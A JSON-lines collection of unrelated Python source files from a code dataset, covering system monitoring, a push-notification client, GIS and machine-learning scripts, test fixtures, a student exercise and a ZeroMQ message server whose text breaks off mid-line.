+{"seq_id":"391381441","text":"from datetime import datetime\n\nfrom BaseStatProvider import BaseStatProvider\nimport psutil\n\nfrom OSProcess import OSProcess\n\n\nclass PSUtilStatProvider(BaseStatProvider):\n\n    def __init__(self, config):\n        self.__config = config\n\n    def get_disk_data(self, disk_data):\n        disk_stats = psutil.disk_usage(\"/\");\n        disk_data.set_total_disk_space(disk_stats.total)\n        disk_data.set_used_disk_space(disk_stats.used)\n        disk_data.set_free_disk_space(disk_stats.free)\n        disk_data.set_perc_of_used_disk(disk_stats.percent)\n\n    def get_memory_data(self, memory_data):\n        mem = psutil.virtual_memory()\n        memory_data.set_total_memory(mem.total)\n        memory_data.set_used_memory(mem.used)\n        memory_data.set_free_memory(mem.free)\n        memory_data.set_usage_percent(mem.percent)\n\n    def get_network_data(self, network_data):\n        network = psutil.net_io_counters()\n        network_data.set_bytes_sent(network.bytes_sent)\n        network_data.set_bytes_recv(network.bytes_recv)\n        network_data.set_packets_sent(network.packets_sent)\n        network_data.set_packets_recv(network.packets_recv)\n\n    def get_cpu_data(self, cpu_data):\n        cpu_data.set_num_of_cores(psutil.cpu_count())\n        cpu_data.set_usage(psutil.cpu_percent(interval=1, percpu=False))\n\n    def get_process_list(self):\n        process_list = []\n        for proc in psutil.process_iter():\n            try:\n                process = OSProcess();\n                process.set_cpu_usage(proc.cpu_percent())\n                process.set_pid(proc.pid)\n                process.set_create_time(proc.create_time())\n                process.set_name(proc.name())\n                process.set_memory_usage(proc.memory_percent())\n                process.set_status(proc.status())\n                process.set_server_id(self.__config.get(\"server_id\", \"serverid\"))\n                process_list.append(process)\n            except psutil.NoSuchProcess:\n                pass\n        return process_list\n\n    def get_system_uptime(self):\n        return datetime.fromtimestamp(psutil.boot_time()).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\n\n\n\n","sub_path":"PSUtilsStatProvider.py","file_name":"PSUtilsStatProvider.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"235067666","text":"#https://docs.djangoproject.com/en/dev/howto/custom-management-commands/#howto-custom-management-commands\nfrom django.core.management.base import BaseCommand, CommandError\nfrom server import data_management as dm\nimport os\n\n\nclass Command(BaseCommand):\n    args = '<block_height>'\n    help = 'delete chained state to a specified height (inclusive)'\n\n    def handle(self, *args, **options):\n        if len(args) != 1:\n            raise CommandError('must have one argument')\n\n        from_height = int(args[0])\n\n        indexes = [int(f) for f in os.listdir(dm.BLOCK_FOLDER)\n                   if os.path.isfile(os.path.join(dm.BLOCK_FOLDER, f)) and f.isdigit()]\n        for index in indexes:\n            if index <= from_height:\n                self.stdout.write('removing %d' % index)\n                dm.remove_data(str(index), dm.BLOCK_FOLDER, silent=True)\n                self.stdout.write('%d removed' % index)\n\n        self.stdout.write('done')","sub_path":"DjangoWebServer/server/management/commands/deletechainedto.py","file_name":"deletechainedto.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"135415764","text":"import datetime\nimport json\nimport re\n\nfrom .common import (\n    PushType,\n    DisplayType,\n    AfterOpenType,\n)\nfrom .exception import (\n    AioUMengPushError,\n    AioUMengPushParamsError,\n)\n\nURL_PATTER = re.compile(r'https?://')\n\n\nclass AndroidPushNotification:\n\n    def __init__(self, ticker=None, title=None, text=None,\n                 icon=None, large_icon=None,\n                 img=None, sound=None, builder_id=None,\n                 play_vibrate=None, play_lights=None, play_sound=None,\n                 after_open=None, url=None, activity=None, custom=None,\n                 extra=None,\n                 ):\n        self.ticker = ticker\n        self.title = title\n        self.text = text\n\n        self.icon = icon\n        self.large_icon = large_icon\n        self.img = img\n\n        self.sound = sound\n\n        self.builder_id = builder_id\n\n        self.play_vibrate = play_vibrate\n        self.play_lights = play_lights\n        self.play_sound = play_sound\n\n        self.after_open = after_open\n        self.url = url\n        self.activity = activity\n        self.custom = custom\n\n        self.extra = extra\n\n    @classmethod\n    def create(cls, ticker, title, text, icon=None, large_icon=None,\n               img=None, sound=None, builder_id=0,\n               play_vibrate=True, play_lights=True, play_sound=True,\n               after_open=AfterOpenType.GO_APP, url=None, activity=None,\n               custom=None, extra=None):\n        if not ticker:\n            raise AioUMengPushParamsError('ticker is required')\n\n        if not title:\n            raise AioUMengPushParamsError('title is required')\n\n        if not text:\n            raise AioUMengPushParamsError('text is required')\n\n        if icon and not icon.startswith('R.drawable.'):\n            raise AioUMengPushParamsError('icon name error')\n\n        if large_icon and not large_icon.startswith('R.drawable.'):\n            raise AioUMengPushParamsError('large icon name error')\n\n        if img and not URL_PATTER.match(img):\n            raise AioUMengPushParamsError('img url error')\n\n        if sound and not icon.startswith('R.raw.'):\n            raise AioUMengPushParamsError('sound name error')\n\n        if after_open:\n            if after_open == AfterOpenType.GO_URL:\n                if not URL_PATTER.match(url):\n                    raise AioUMengPushParamsError(\n                        'url is required when go_url after open')\n            elif after_open == AfterOpenType.GO_ACTIVITY:\n                if not activity:\n                    raise AioUMengPushParamsError(\n                        'activity is required when go_activity after open')\n            elif after_open == AfterOpenType.GO_CUSTOM:\n                if not custom:\n                    raise AioUMengPushParamsError(\n                        'custom is required when go_custom after open')\n\n        return cls(ticker=ticker, title=title, text=text,\n                   icon=icon, large_icon=large_icon, img=img, sound=sound,\n                   builder_id=builder_id, play_vibrate=play_vibrate,\n                   play_lights=play_lights, play_sound=play_sound,\n                   after_open=after_open, url=url, activity=activity,\n                   custom=custom, extra=extra)\n\n    def to_dto(self):\n        body = {\n            'ticker': self.ticker,\n            'title': self.title,\n            'text': self.text,\n            'play_vibrate': self.play_vibrate and 'true' or 'false',\n            'play_lights': self.play_lights and 'true' or 'false',\n            'play_sound': self.play_sound and 'true' or 'false',\n            'after_open': self.after_open,\n        }\n        if self.icon:\n            body['icon'] = self.icon\n        if self.large_icon:\n            body['largeIcon'] = self.large_icon\n        if self.img:\n            body['img'] = self.img\n        if self.sound:\n            body['sound'] = self.sound\n        if self.builder_id:\n            body['builder_id'] = self.builder_id\n        if self.url:\n            body['url'] = self.url\n        if self.activity:\n            body['activity'] = self.activity\n        if self.custom:\n            body['custom'] = self.custom\n\n        result = {\n            'display_type': DisplayType.NOTIFICATION,\n            'body': body,\n        }\n        if self.extra:\n            result['extra'] = self.extra\n        return result\n\n\nclass AndroidPushPolicy:\n\n    def __init__(self, start_time=None, expire_time=None, max_send_num=None,\n                 out_biz_no=None):\n        \"\"\"\n        :param start_time: datetime\n        :param expire_time: datetime\n        :param max_send_num: number\n        :param out_biz_no: string\n        \"\"\"\n        self.start_time = start_time\n        self.expire_time = expire_time\n        self.max_send_num = max_send_num\n        self.out_biz_no = out_biz_no\n\n    @classmethod\n    def create(cls, start_time=None, expire_time=None, max_send_num=None,\n               out_biz_no=None):\n\n        if start_time and expire_time and expire_time < start_time:\n            raise AioUMengPushParamsError('expire time must after start time')\n\n        if max_send_num and max_send_num < 1000:\n            raise AioUMengPushParamsError('expire time must >= 1000')\n\n        return cls(start_time=start_time, expire_time=expire_time,\n                   max_send_num=max_send_num, out_biz_no=out_biz_no)\n\n    def to_dto(self):\n        result = {}\n        if self.start_time:\n            result['start_time'] = self.start_time.strftime(\n                'yyyy-MM-dd HH:mm:ss')\n        if self.expire_time:\n            result['expire_time'] = self.expire_time.strftime(\n                'yyyy-MM-dd HH:mm:ss')\n        if self.max_send_num:\n            result['max_send_num'] = self.max_send_num\n        if self.out_biz_no:\n            result['out_biz_no'] = self.out_biz_no\n        return result\n\n\nclass AndroidSystemChannel:\n\n    def __init__(self, activity):\n        self.activity = activity\n\n    def to_dto(self):\n        return {\n            'mipush': True,\n            'mi_activity': self.activity\n        }\n\n\nclass AndroidPush:\n\n    async def single_push_android(self, device_token, msg, description,\n                                  policy=None,\n                                  system_channel=None):\n        \"\"\"\n        :param device_token: string\n        :param msg: AndroidPushNotification\n        :param policy: AndroidPushPolicy\n        :param description: string\n        :param system_channel: AndroidSystemChannel\n        :return:\n        \"\"\"\n        if not self.android_push_config:\n            raise AioUMengPushError('android push config not set')\n\n        post_body = {\n            'appkey': self.android_push_config.key,\n            'timestamp': str(int(datetime.datetime.now().timestamp())),\n            'type': PushType.UNI_CAST,\n            'device_tokens': device_token,\n            'payload': msg.to_dto(),\n            'production_mode': self.android_push_config.production_mode,\n            'description': description,\n        }\n        if policy:\n            post_body['policy'] = policy.to_dto()\n\n        if system_channel:\n            post_body.update(system_channel.to_dto())\n\n        body = json.dumps(post_body, ensure_ascii=False, separators=(',', ':'),\n                          sort_keys=True)\n\n        method = 'POST'\n        sign = self._get_sign(method, self.GATEWAY, body,\n                              self.android_push_config.secret)\n\n        result = await self._do_request(method, self.GATEWAY, body,\n                                        {'sign': sign})\n        return result\n","sub_path":"aioumeng/android_push.py","file_name":"android_push.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"410393733","text":"from modules import *\nimport pandas as pd\nimport math\nimport numpy as np\nfrom osgeo import ogr\nimport geopy.distance as dist\n\n\ndef convert_usable(elem):\n    if not math.isnan(elem):\n        try:\n            return int(elem)\n        except ValueError:\n            try:\n                return float(elem)\n            except ValueError:\n                try:\n                    return str(elem)\n                except:\n                    return ''\n    else:\n        return ''\n\n\nif __name__ == '__main__':\n\n    age_file = \"D:/Shared/Dropbox/projects/NAU/landsat_deciduous/data/SAMPLES/BNZ_LTER/raw/\" +\\\n               \"All_Stands_Transect_age.csv\"\n\n    samp_file = \"D:/Shared/Dropbox/projects/NAU/landsat_deciduous/data/SAMPLES/BNZ_LTER/\" + \\\n        \"mack_data_transects.shp\"\n\n    out_file = \"D:/Shared/Dropbox/projects/NAU/landsat_deciduous/data/SAMPLES/BNZ_LTER/\" + \\\n        \"mack_data_transects_pts_with_age.shp\"\n    log_file = \"D:/Shared/Dropbox/projects/NAU/landsat_deciduous/data/SAMPLES/BNZ_LTER/\" + \\\n        \"mack_data_transects_pts_with_age.log\"\n\n    age_dicts = Handler(age_file).read_from_csv(return_dicts=True)\n\n    age_dict = dict()\n    for temp_dict in age_dicts:\n\n        site = temp_dict['Site'].strip()\n\n        if site not in ('MATDEC', 'UBHW') and 'TKN' not in site:\n\n            out_site = site[:2] + str(temp_dict['Tran'])\n\n        elif 'TKN' in site:\n            out_site = site\n\n        else:\n            out_site = site + str(temp_dict['Tran'])\n\n        age_dict[out_site] = temp_dict['Age']\n\n    mack_vec = Vector(samp_file)\n\n    year_attr = ogr.FieldDefn('age', ogr.OFTInteger)\n    year_attr.SetWidth(8)\n\n    mack_vec.fields.append(year_attr)\n\n    for attr in mack_vec.attributes:\n        site = attr['site']\n        if site in age_dict:\n            age = age_dict[site]\n        else:\n            age = 0\n        attr['age'] = age\n\n    mack_vec.write_vector(out_file)\n","sub_path":"samples/mack_transect_pt_Age.py","file_name":"mack_transect_pt_Age.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"118879591","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.pylab as pylab\n\nimport requests\nfrom io import BytesIO\nfrom PIL import Image\nimport numpy as np\n\nimport random\nfrom pathlib import Path\n\n\n# In[2]:\n\n\nfrom maskrcnn_benchmark.config import cfg\nfrom predictor import SidewalkDemo\n\n\n# In[3]:\n\n\npylab.rcParams['figure.figsize'] = 20, 12\n\n\n# In[4]:\n\n\nconfig_file = \"/home/daniel.rose/maskrcnn-benchmark/configs/sidewalk.fpn.bs1-final.yaml\"\n\n# update the config options with the config file\ncfg.merge_from_file(config_file)\n# manual override some options\ncfg.merge_from_list([\"MODEL.DEVICE\", \"cpu\"])\n\n\n# In[5]:\n\n\ndef load():\n    path = Path('/home/daniel.rose/maskrcnn-benchmark/datasets/sidewalk/test/JPEGImages/')\n    file = random.choice(list(path.glob('*.jpg')))\n    pil_image = Image.open(file).convert(\"RGB\")\n    pil_image = pil_image.resize((800,800))\n    pil_image = pil_image.convert(\"RGB\")\n    image = np.array(pil_image)[:, :, [2, 1, 0]]\n    return image\n\ndef imshow(img):\n    plt.imshow(img[:, :, [2, 1, 0]])\n    plt.axis(\"off\")\n\n\n# In[6]:\n\n\ndefault = SidewalkDemo(\n    cfg,\n    min_image_size=800,\n    confidence_threshold=0.5,\n)\n\n\n# In[7]:\n\n\njitter = SidewalkDemo(\n    cfg,\n    min_image_size=800,\n    confidence_threshold=0.5,\n    brightness = (5,5),\n    # hue = 0.3\n)\n\n\n# In[13]:\n\n\nimage = load()\nimshow(image)\n\n\n# In[14]:\n\n\npredictions = default.run_on_opencv_image(image)\nimshow(predictions)\n\n\n# In[15]:\n\n\npredictions = jitter.run_on_opencv_image(image)\nimshow(predictions)\n\n\n# In[ ]:\n\n\n\n\n\n","sub_path":"sidewalk_demo/SidewalkDemo.py","file_name":"SidewalkDemo.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"230980601","text":"\"\"\"\r\nCreated on Mon Apr 13 16:09:30 2020\r\n\r\n@author: Jfitz \r\n\r\nAssignment 2 - Task 1\r\n\r\nThis program applies the 3 functions to any list of 5 strings\r\nentered by the user.\r\n\r\non launch an we check for existing list - if empty, the\r\nuser is prompted to create a 5 string list.\r\nonce created a menu of the 3 functions is displayed and the\r\nuser can select which function to run or exit.\r\n\r\nOn exit the user is returned to a new menu - which allows them\r\nto display their existing list, use the list (ie display and the \r\nfunctions menu again), or they can create a new list of 5 strings \r\nto run the functions..or they can exit from the system.\r\n\r\nThe first function menu() might now be redundant as I had the list\r\nas a global variable intially and had problems with it. \r\nTo fix this I decalred it instide the menu() function and passed \r\nthe list to the functions in the program that use it thereafter\r\n\r\n\"\"\"\r\n\r\nimport os #operating system Windows to use 'cls' command\r\nimport sys #use the sys.exit command to quit/logout of the application\r\nimport time # use time command to pause the program for displays\r\n\r\n\r\n#function to write the first divisor \r\n#by 3 found in the list\r\ndef divisorOf3(theList):\r\n    for x in theList:    \r\n        if len(x)%3 == 0:  \r\n           print('Output from Function 1: '+x)\r\n           returnToMenu(theList)\r\n  \r\n\r\n#function to write the last string\r\n#greater than 4 characters           \r\ndef lastCharOf4(theList):\r\n    for x in theList:         \r\n        if len(x)>4:\r\n           subList = []\r\n           subList.append(x)\r\n    print('Output from Function 2: '+subList[-1])\r\n  \r\n\r\n#function to replicate list*3 and write out all odd\r\n#length strings in the list            \r\ndef replicateBy3(theList):\r\n    rList = theList + theList + theList\r\n    for x in rList:\r\n        if len(x)%2 != 0:\r\n            print(x)\r\n\r\n#function that will ask the user to input 5 string values\r\n# it then appends value to the list            \r\ndef createList(theList):    \r\n    for i in range(5):\r\n       i2 = i+1 \r\n       print(\"String: \"+str(i2)) \r\n       createaList = input(\"Please enter text: \")\r\n       theList.append(str(createaList))\r\n       \r\n#after completion of each function, return \r\n#to the menu     \r\ndef returnToMenu(theList):\r\n    print(\"Returning to functions menu\")\r\n    time.sleep(5)\r\n    menu2(theList)   \r\n\r\n#Menu allowing the user to select which function\r\n#to perform on the list    \r\ndef menu2(theList):\r\n    print(\"           ************Task 1 Part 3: use the functions**************\")\r\n    print()\r\n    choice = input(\"\"\"\r\n                      F or f: Outputs first element divisible by 3\r\n                      L or l: Outputs last element with more than 4 chars\r\n                      any Number: Replicates list by 3 and Output odd values\r\n                      E or e: Exits back to main menu\r\n\r\n                      Please enter your choice: \"\"\")\r\n  \r\n    if choice == \"F\" or choice ==\"f\":\r\n       divisorOf3(theList)\r\n       returnToMenu(theList)       \r\n    elif choice == \"L\" or choice ==\"l\":\r\n         lastCharOf4(theList)\r\n         returnToMenu(theList)       \r\n    elif choice==\"E\" or choice==\"e\":\r\n          existingList(theList)\r\n    elif int(choice):\r\n        replicateBy3(theList)\r\n        returnToMenu(theList)         \r\n    else:\r\n        print(\"You can only choose from the options provided\")\r\n        print(\"Please try again\")\r\n        returnToMenu(theList)\r\n       \r\n#If the list already exists, after each function is completed\r\n# the user is given the choice to use the existing list, create \r\n# a new one or exit from the program        \r\ndef existingList(theList):\r\n    #os.system('cls')\r\n    print(\"           ************Task 1 Part 2: List options**************\")\r\n    #time.sleep(1)\r\n    print()\r\n    opt = input(\"\"\"\r\n                      1. Display current list\r\n                      2. Use existing list\r\n                      3. Create a new list\r\n                      4. Exit system\r\n\r\n                      Please enter your choice: \"\"\")\r\n    if opt == '1':\r\n       #displays the current list and returns to menu \r\n       print(theList)\r\n       print(\"Returning to main menu\")\r\n       time.sleep(5)\r\n       existingList(theList)\r\n    elif opt == '2':\r\n         # run functions menu using existing list \r\n         menu2(theList)\r\n    elif opt  == '3':\r\n         #initialize original list \r\n         theList = [] \r\n         #query user to input new list\r\n         createList(theList)\r\n         #pass new list to menu function\r\n         menu2(theList)            \r\n    elif opt == '4':     \r\n         print(\"Goodbye and thanks for participating \")\r\n         time.sleep(2)\r\n         #exit from the procedure\r\n         sys.exit()\r\n    else:\r\n         # if i did not get expected entry\r\n         print(\"Select only 1, 2 or 3\")     \r\n         time.sleep(2)\r\n         existingList(theList)\r\n\r\n#First time in (ie if the list is empty) we ask the\r\n# user to create  a new list         \r\ndef newList(theList):\r\n    os.system('cls')\r\n    print(\"           ************Task 1 Part 1: Create a new list**************\")\r\n    #time.sleep(1)\r\n    print()    \r\n    nList = input(\"\"\"Create a new list with 5 string values? [Y/N] \"\"\")\r\n    if nList == \"Y\" or nList == \"y\":\r\n       createList(theList)\r\n       menu2(theList)\r\n    elif nList == \"N\" or nList ==\"n\":\r\n        print(\"Goodbye and thanks for participating \")\r\n        time.sleep(2)\r\n        sys.exit\r\n    else: \r\n        print(\"Please enter Y or N only\")     \r\n        time.sleep(2)\r\n        menu()    \r\n#this function is used to check \r\n#if there are values in the list \r\n# it manages which menu will be used        \r\n#in an earlier version it controlled which menu\r\ndef menu():\r\n    theList = []\r\n    if not theList:\r\n       newList(theList)\r\n    else:\r\n       existingList(theList) \r\n  \r\nmenu()\r\n","sub_path":"task1a.py","file_name":"task1a.py","file_ext":"py","file_size_in_byte":5819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"158617635","text":"import json\n\nimport pytest\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.shortcuts import reverse\nfrom django.test.client import MULTIPART_CONTENT, Client\nfrom graphql_jwt.shortcuts import get_token\n\nfrom .utils import assert_no_permission\n\nAPI_PATH = reverse('api')\n\n\nclass ApiClient(Client):\n    \"\"\"GraphQL API client.\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        user = kwargs.pop('user')\n        self.user = user\n        if not user.is_anonymous:\n            self.token = get_token(user)\n        super().__init__(*args, **kwargs)\n\n    def _base_environ(self, **request):\n        environ = super()._base_environ(**request)\n        if not self.user.is_anonymous:\n            environ.update({'HTTP_AUTHORIZATION': 'JWT %s' % self.token})\n        return environ\n\n    def post(self, data=None, **kwargs):\n        \"\"\"Send a POST request.\n\n        This wrapper sets the `application/json` content type which is\n        more suitable for standard GraphQL requests and doesn't mismatch with\n        handling multipart requests in Graphene.\n        \"\"\"\n        if data:\n            data = json.dumps(data)\n        kwargs['content_type'] = 'application/json'\n        return super().post(API_PATH, data, **kwargs)\n\n    def post_graphql(\n            self, query, variables=None, permissions=None,\n            check_no_permissions=True, **kwargs):\n        \"\"\"Dedicated helper for posting GraphQL queries.\n\n        Sets the `application/json` content type and json.dumps the variables\n        if present.\n        \"\"\"\n        data = {'query': query}\n        if variables is not None:\n            data['variables'] = variables\n        if data:\n            data = json.dumps(data)\n        kwargs['content_type'] = 'application/json'\n\n        if permissions:\n            if check_no_permissions:\n                response = super().post(API_PATH, data, **kwargs)\n                assert_no_permission(response)\n            self.user.user_permissions.add(*permissions)\n        return super().post(API_PATH, data, **kwargs)\n\n    def post_multipart(self, *args, permissions=None, **kwargs):\n        \"\"\"Send a multipart POST request.\n\n        This is used to send multipart requests to GraphQL API when e.g.\n        uploading files.\n        \"\"\"\n        kwargs['content_type'] = MULTIPART_CONTENT\n\n        if permissions:\n            response = super().post(API_PATH, *args, **kwargs)\n            assert_no_permission(response)\n            self.user.user_permissions.add(*permissions)\n        return super().post(API_PATH, *args, **kwargs)\n\n\n@pytest.fixture\ndef staff_api_client(staff_user):\n    return ApiClient(user=staff_user)\n\n\n@pytest.fixture\ndef user_api_client(customer_user):\n    return ApiClient(user=customer_user)\n\n\n@pytest.fixture\ndef api_client():\n    return ApiClient(user=AnonymousUser())\n","sub_path":"tests/api/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"215909514","text":"import utils\nfrom h1st.model.kswe import KSWEModeler, KSWE\nfrom h1st.model.kswe import RandomForestClassifierModeler, MajorityVotingEnsembleModeler\n\n'''\nThis is the user code of default KSWEModeler which use CombinationSegmentor \nas a default Segmentor. The overall process is like the following. \n1. load data\n2. provide segmentation_features that explains what features users want to\n  use to generate data segments from the original data\n3. Pass them to KSWEModeler.build_model() method. \n4. Check (auto-generated) evaluation results and persist KSWE if the evaluation\n    results is good enough. Otherwise, iterate the fine-tuning process. \n5. Load and use KSWE in inference application\n'''\n### 1. Load Data\ndata = utils.load_data() \n\n### 2. Provide segmentation_features\n'''\nUser provides how to segment their data through segmentation_features. \nFor each feature, user can provide a list of filters. Each filter can be \na list or tuple.\n  1. list - Feature should have one of the values in the list \n  2. tuple(start, end) - Feature should be in the range of [start: end). \n    If start or end is None, that means no lower or upper boundary in a range.\n'''\nsegmentation_features = utils.load_segmentation_features('.ini file path')\nsegmentation_features = {\n    'sepal_size': [(0, 18.5), (18.5, None)],\n    'sepal_aspect_ratio': [(0, 0.65), (0.65, 1)],\n    'species': [[0, 1]]\n}\n\n### 3. Instantiate KSWE Modeler\nkswe_modeler = KSWEModeler()\n\n### 4. Build KSWE\n'''\nBuild KSWE model with data and knowledge. By default, it will use \nRandomForestClassifier and MajorityVotingEnsemble for building classifier\nand RandomForestRegressor and AveragingEnsemble for building regressor.\nAfter building KSWE, you will get the evaluation results for KSWE and \nsub_models.\ninput_data: Dict \n    Data for training and evaluating sub_models and ensembles of KSWE. \nsegmentation_features: Dict\n    Domain knowledge that will be used for segmenting data and build KSWE.\ntype: int\n    This value shows if the model is classifier or regressor\n'''\nkswe = kswe_modeler.build_model(\n    input_data=data,\n    segmentation_features=segmentation_features,\n    type=KSWE.Classifier\n)\n\n# or \n\nkswe = kswe_modeler.build_classification_model(\n    input_data=data,\n    segmentation_features=segmentation_features\n)\n\n\n### 5. Persist KSWE\nkswe.persist(kswe, 'my_version')\n\n### 6. Reload KSWE in Application\nkswe = KSWE().load_param('my_version')\nkswe.predict(data)\n","sub_path":"user/example-apps/kswe/apps/kswe_training_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"407886357","text":"'''\r\nOriginal Model from keras/examples/cifar10_cnn.py\r\n\r\nBenchmark CNN model\r\n'''\r\n\r\nfrom __future__ import print_function\r\nimport numpy as np\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten\r\nfrom keras.layers import Conv2D, MaxPooling2D\r\nfrom keras.utils import multi_gpu_model\r\n\r\nfrom models import timehistory\r\nfrom data_generator import generate_img_input_data\r\nif keras.backend.backend() == 'cntk':\r\n    from gpu_mode import cntk_gpu_mode_config\r\n\r\n\r\nclass Cifar10CnnBenchmark():\r\n\r\n    def __init__(self):\r\n        self.test_name = \"cifar10_cnn\"\r\n        self.sample_type = \"images\"\r\n        self.total_time = 0\r\n        self.batch_size = 32\r\n        self.epochs = 2\r\n        self.num_samples = 1000\r\n\r\n    def run_benchmark(self, gpus=0):\r\n        num_classes = 10\r\n\r\n        # Generate random input data\r\n        input_shape = (self.num_samples, 3, 32, 32)\r\n        x_train, y_train = generate_img_input_data(input_shape)\r\n\r\n        y_train = np.reshape(y_train, (len(y_train), 1))\r\n        y_train = keras.utils.to_categorical(y_train, 10)\r\n\r\n        if keras.backend.image_data_format() == 'channels_last':\r\n            x_train = x_train.transpose(0, 2, 3, 1)\r\n\r\n        model = Sequential()\r\n        model.add(Conv2D(32, (3, 3), padding='same',\r\n                         input_shape=x_train.shape[1:], activation='relu'))\r\n        model.add(Conv2D(32, (3, 3), activation='relu'))\r\n        model.add(MaxPooling2D(pool_size=(2, 2)))\r\n        model.add(Dropout(0.25))\r\n\r\n        model.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\r\n        model.add(Conv2D(64, (3, 3), activation='relu'))\r\n        model.add(MaxPooling2D(pool_size=(2, 2)))\r\n        model.add(Dropout(0.25))\r\n\r\n        model.add(Flatten())\r\n        model.add(Dense(512, activation='relu'))\r\n        model.add(Dropout(0.5))\r\n        model.add(Dense(num_classes, activation='softmax'))\r\n\r\n        opt = keras.optimizers.rmsprop(lr=0.0001, decay=1e-6)\r\n\r\n        if keras.backend.backend() is \"tensorflow\" and gpus > 1:\r\n            model = multi_gpu_model(model, gpus=gpus)\r\n\r\n        model.compile(loss='categorical_crossentropy',\r\n                      optimizer=opt,\r\n                      metrics=['accuracy'])\r\n\r\n        x_train = x_train.astype('float32')\r\n        x_train /= 255\r\n\r\n        # create a distributed trainer for cntk\r\n        if keras.backend.backend() is \"cntk\" and gpus > 1:\r\n            start, end = cntk_gpu_mode_config(model, x_train.shape[0])\r\n            x_train = x_train[start: end]\r\n            y_train = y_train[start: end]\r\n\r\n        time_callback = timehistory.TimeHistory()\r\n\r\n        model.fit(x_train,\r\n                  y_train,\r\n                  batch_size=self.batch_size,\r\n                  epochs=self.epochs,\r\n                  shuffle=True,\r\n                  callbacks=[time_callback])\r\n\r\n        self.total_time = 0\r\n        for i in range(1, self.epochs):\r\n            self.total_time += time_callback.times[i]\r\n","sub_path":"scripts/keras_benchmarks/models/cifar10_cnn_benchmark.py","file_name":"cifar10_cnn_benchmark.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"111820963","text":"from die import Die\nimport pygal\n#创建D6和D10\ndie_1=Die()\ndie_2=Die(10)\n\nresults=[]\nfor roll_num in range(50000):\n\tresult=die_1.roll()+die_2.roll()\n\tresults.append(result)\n\n#分析结果\nfrequencies=[]#装的出现次数\nmax_result=die_1.num_sides+die_2.num_sides\nfor value in range(2,max_result+1):\n\tfrequency=results.count(value)\n\t#count用来统计\n\tfrequencies.append(frequency)\n#对结果可视化\nhist=pygal.Bar()\nhist.title=\"Results of rolling D6+D10 50000 times\"\nhist.x_labels=[]\nfor i in range(2,17):\n\thist.x_labels.append(str(i))\n\n\nhist.x_title=\"Result\"\nhist.y_title=\"Frequency of Result\"\n\nhist.add('D6+D10',frequencies)\nhist.render_to_file('different_dice.svg')\n#print(frequencies)\n","sub_path":"different_dice.py","file_name":"different_dice.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"457672017","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule Description:\nDate:\nAuthor:ren jun\n\"\"\"\nfrom syn_db import SynDB\nimport json\nfrom config import config\nimport zmq\nimport time\nimport os\nimport threading\nimport signal\nfrom send_log import net_logger\n\nrunning = True\n\n\ndef action(data, debug):\n    global running\n    if running:\n        res = msg_action(data, debug)\n    else:\n        time.sleep(1)\n        net_logger('Message server shutdown', net=False, terminal=debug)\n        res = {\"status\": False, \"info\": \"Message server shutdown\"}\n    return json.dumps(res)\n\n\ndef msg_action(datas, debug):\n    \"\"\"\n    @param datas: 字典\n    @return:\n    \"\"\"\n    cmd = datas.get('cmd')\n    if cmd is None:\n        msg_log = {\"command_err\": \"No command\", \"info\": datas}\n        net_logger(msg_log, net=False, terminal=debug)\n        return 'No command'\n\n    game_id = datas.get('game_id')\n    channel = datas.get('channel')\n    time_point = datas.get('time')\n    _id = datas.get('_id')\n    msg = datas.get('msg')\n    # cmd = [\"ADD_CMD\", \"PULL_CMD\", \"ONE_CMD\", \"DEL_CMD\"]\n    msi = SynDB(channel=channel, game_id=game_id)\n    try:\n        if cmd == 'ADD_CMD':\n            if msg:\n                res = msi.add_msg(msg)\n                return {\"status\": True, \"info\": res}\n            return {\"status\": False, \"info\": \"No contain message\"}\n\n        elif cmd == 'PULL_CMD':\n            res = msi.pull_msgs(time_point)\n            return {\"status\": True, \"info\": res}\n\n        elif cmd == 'ONE_CMD':\n            res = msi.get_new_msg()\n            return {\"status\": True, \"info\": res}\n\n        elif cmd == 'DEL_CMD':\n            if _id:\n                res = msi.delete(_id)\n                return {\"status\": True, \"info\": res}\n            else:\n                return {\"status\": False, \"info\": 'No _id'}\n        else:\n            msg_log = {\"err\": \"No such command\", \"info\": datas}\n            net_logger(msg_log, net=True, terminal=debug)\n            return {\"status\": False, \"info\": \"No such command\"}\n\n    except Exception as e:\n        msg = {\"err\": e.message, \"info\": msi.config}\n        net_logger(msg, net=True, terminal=debug)\n        return {\"status\": False, \"info\": \"Server connection exception\"}\n\n\ndef access_recv():\n    context = zmq.Context()\n    steering = context.socket(zmq.SUB)\n\n    endpoint = 'tcp://localhost:%d' % config['pub_sub_port']\n    steering.connect(endpoint)\n    steering.setsockopt(zmq.SUBSCRIBE, '')\n    flag = True\n    net_logger(\"Start receiving control command :\" + endpoint, net=False, terminal=False)\n    while flag:\n\n        msg = 